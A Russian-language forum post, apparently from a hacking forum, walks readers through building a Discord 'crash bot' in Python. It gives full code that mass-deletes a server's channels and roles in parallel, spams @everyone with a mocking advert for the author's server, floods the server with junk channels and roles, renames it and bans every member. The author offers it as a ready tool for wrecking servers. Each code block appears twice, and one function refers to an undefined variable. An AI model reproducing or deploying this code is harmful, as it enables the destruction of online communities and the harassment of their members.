Для проверяющих статью Я знаю, были простые крашботы на форуме. Но, во первых, 90% из них устарели, во вторых - мой бот является быстрее других в несколько раз. Шалом всем, сегодня я вам покажу простенький код очень быстрого краш-бота на питоне. Ранее таких нигде на форуме не было. Для начала, качаем Python c сайтa https://python.org/downloads , запускаем установщик, и в установщике обязательно ставим галку Add Python to path везде, где она есть, далее все делаем по принципу "Далее --> далее --> далее". После установки, открываем консоль (win + r -> cmd) и вводим в неё эти команды: pip install discord pip install asyncio Если возникает ошибка Перезапусти комп, если не помогло, удали питон и скачай заного, НО НЕ ЗАБУДЬ СТАВИТЬ ГАЛКУ ADD PYTHON TO PATH ПРИ УСТАНОВКЕ! После этого перезапускаем ваш комп Идём на https://discord.com/developers/applications , создаём там бота, и в разделе bot ставим галку members intents, и копируем токен бота Теперь создаем файл main.py, и открываем его через блокнот, и пишем начало кода: from discord import Intents from discord.ext import commands from requests import put from asyncio import create_task import discord Python from discord import Intents from discord.ext import commands from requests import put from asyncio import create_task import discord Это мы импортируем необходимые библиотеки для работы с ботом. Идём дальше. prefix = '!' # наш префикс token = 'бот токен' #токен бота с developers portal # включаем интенты и создаем переменную бота (client) intents = Intents.default() intents.members = True client = commands.Bot(command_prefix=prefix, help_command=None, intents=intents) Python prefix = '!' # наш префикс token = 'бот токен' #токен бота с developers portal # включаем интенты и создаем переменную бота (client) intents = Intents.default() intents.members = True client = commands.Bot(command_prefix=prefix, help_command=None, intents=intents) По комментариям думаю все понятно, в переменную token помещаем токен бота (в разделе bot на сайте developer portal cтавьте галку members intents) async def killchannel(ctx,ch): try: await ch.delete() except: pass async def sendch(ctx,ch,text,count): for _ in range(count): try: await ch.send(text) except: pass async def killrole(ctx,role): try: await role.delete() except: pass async def createchannel(ctx): try: c = await ctx.guild.create_text_channel('crash-by-fastestnuker') except: pass else: create_task(sendch(ctx,ch=c,text='@everyone\nУважаемые участники данного сервера :sunglasses:!\nК сожалению, админ или модератор этого сервера оказался :mammoth:ом, и добавил меня на сервер :clap:\nНу вообщем я так быстро всё удалил, что ваши колхозные aдмины ничего не сделали :joy:\nВообщем, наш сервер: https://discord.gg/fzlgroup :yellow_heart:',count=5)) async def createrole(ctx): try: await ctx.guild.create_role(name='Crushed By Fastest Nuker') except: pass Python async def killchannel(ctx,ch): try: await ch.delete() except: pass async def sendch(ctx,ch,text,count): for _ in range(count): try: await ch.send(text) except: pass async def killrole(ctx,role): try: await role.delete() except: pass async def createchannel(ctx): try: c = await ctx.guild.create_text_channel('crash-by-fastestnuker') except: pass else: create_task(sendch(ctx,ch=c,text='@everyone\nУважаемые участники данного сервера :sunglasses:!\nК сожалению, админ или модератор этого сервера оказался :mammoth:ом, и добавил меня на сервер :clap:\nНу вообщем я так быстро всё удалил, что ваши колхозные aдмины ничего не сделали :joy:\nВообщем, наш сервер: https://discord.gg/fzlgroup :yellow_heart:',count=5)) async def createrole(ctx): try: await ctx.guild.create_role(name='Crushed By Fastest Nuker') except: pass В данном куске кода содержатся все нужные нам функции чтобы крашить сервер - удаление канала/роли, создание канала/роли, спам в канал. Теперь давайте разберемся, в чем заключается такая огромная скорость нашего бота и напишем основную команду краша. Давайте подумаем, все обычные краш боты удаляют каналы поочерёдно, тоесть, берут список всех каналов, и для каждого канала делает действие, сначала первый, когда первый удалит, начнет удалять второй, и т.д. - это медленно (ну хотя если у вас хороший хост, даже так норм), поскольку код ждет пока канал успешно удалится, чтобы пойти дальше. Как можно ускорить? Правильно. Для удаления каждого канала/роли и т.д. будем делать отдельный поток, тоесть, чтобы в дискорд одновременно пришли условно 50 запросов на удаление этих 50 каналов (в 1 случае бот ждет, пока дискорд даст ответ, в нашем случае мы не ждем). Что получится, на все запросы одновременно придет ответ, и каналы почти (около секунды) моментально удалятся. Фото в первом случае Фото во втором случае Конечно кринжовое фото-пояснение, но думаю теперь все поняли Короче, вот основная команда краша: @client.command() async def kill(ctx): for rolee in ctx.guild.roles: create_task(killrole(ctx,role=rolee)) for channel in ctx.guild.text_channels: create_task(sendch(ctx,ch=channel,text='@everyone\nУважаемые участники данного сервера :sunglasses:!\nК сожалению, админ или модератор этого сервера оказался :mammoth:ом, и добавил меня на сервер :clap:\nНу вообщем я так быстро всё удалил, что ваши колхозные aдмины ничего не сделали :joy:\nВообщем, наш сервер: https://discord.gg/fzlgroup :yellow_heart:',count=1)) for channel in ctx.guild.channels: create_task(killchannel(ctx,ch=channel)) for _ in range(50): create_task(createchannel(ctx)) create_task(createrole(ctx)) Python @client.command() async def kill(ctx): for rolee in ctx.guild.roles: create_task(killrole(ctx,role=rolee)) for channel in ctx.guild.text_channels: create_task(sendch(ctx,ch=channel,text='@everyone\nУважаемые участники данного сервера :sunglasses:!\nК сожалению, админ или модератор этого сервера оказался :mammoth:ом, и добавил меня на сервер :clap:\nНу вообщем я так быстро всё удалил, что ваши колхозные aдмины ничего не сделали :joy:\nВообщем, наш сервер: https://discord.gg/fzlgroup :yellow_heart:',count=1)) for channel in ctx.guild.channels: create_task(killchannel(ctx,ch=channel)) for _ in range(50): create_task(createchannel(ctx)) create_task(createrole(ctx)) Тут меняйте ссылку на сервер под себя, текст можете оставить - угарный слишком как по мне. Для начала, бот спамит во все старые каналы (которые до краша) (тоже используя потоки) (зачем? - если на сервере стоит защита и бота кикнет - спам останется), после этого удаляет роли и каналы, ну и одновременно с этим также на макс скорости создает каналы и роли. Одна команда - как то не в кайф, хоть и автокраш. Вот вам еще команд: @client.command() async def rename(ctx): with open('icon.PNG', 'rb') as f: icon = f.read() await ctx.guild.edit(name='Crashed by Fastest Nuker', icon=icon) async def banus(ctx, limit=None): fetched = ctx.guild.fetch_members(limit=limit) memlist = await fetched.flatten() for member in memlist: if member.roles[-1].position >= ctx.guild.me.roles[-1].position: continue put(f'https://discord.com/api/guilds/{guild.id}/bans/{member.id}', headers={'Authorization': 'Bot ' + token, 'X-Audit-Log-Reason': 'Crushed by FastestNuker'}, json={'delete_message_days': 1}) @client.command() async def banall(ctx): create_task(banus(ctx,limit=None)) Code @client.command() async def rename(ctx): with open('icon.PNG', 'rb') as f: icon = f.read() await ctx.guild.edit(name='Crashed by Fastest Nuker', icon=icon) async def banus(ctx, limit=None): fetched = ctx.guild.fetch_members(limit=limit) memlist = await fetched.flatten() for member in memlist: if member.roles[-1].position >= ctx.guild.me.roles[-1].position: continue put(f'https://discord.com/api/guilds/{guild.id}/bans/{member.id}', headers={'Authorization': 'Bot ' + token, 'X-Audit-Log-Reason': 'Crushed by FastestNuker'}, json={'delete_message_days': 1}) @client.command() async def banall(ctx): create_task(banus(ctx,limit=None)) Тут смена иконки серверу и бан всех тоже с +- норм скоростью (положите в каталог с файлом main.py иконку с названием icon.PNG (именно так), которая будет ставиться при использовании команды rename) Я не забыл и про хелп: @client.command() async def help(ctx): try: await ctx.author.send(embed=discord.Embed(title='FastestNuker',description=f'`!kill` - авто краш сервера\n`!rename` - сменить иконку и имя серверу\n`!banall` - бан всех участников сервера',colour=discord.Colour.from_rgb(228,66,0))) except: await ctx.send(embed=discord.Embed(title='Открой личку чтобы чекнуть хелп')) await ctx.message.delete() Python @client.command() async def help(ctx): try: await ctx.author.send(embed=discord.Embed(title='FastestNuker',description=f'`!kill` - авто краш сервера\n`!rename` - сменить иконку и имя серверу\n`!banall` - бан всех участников сервера',colour=discord.Colour.from_rgb(228,66,0))) except: await ctx.send(embed=discord.Embed(title='Открой личку чтобы чекнуть хелп')) await ctx.message.delete() Ну и запуск бота: client.run(token) Python client.run(token) Весь код https://github.com/forzel-new/fastestnuker/blob/main/nuker.py Теперь открываем файл main.py и бот запускается, пользуйтесь (Ссылку на бота берите в discord developer portal, если шо - в инете много инфы как делать ссылку на бота)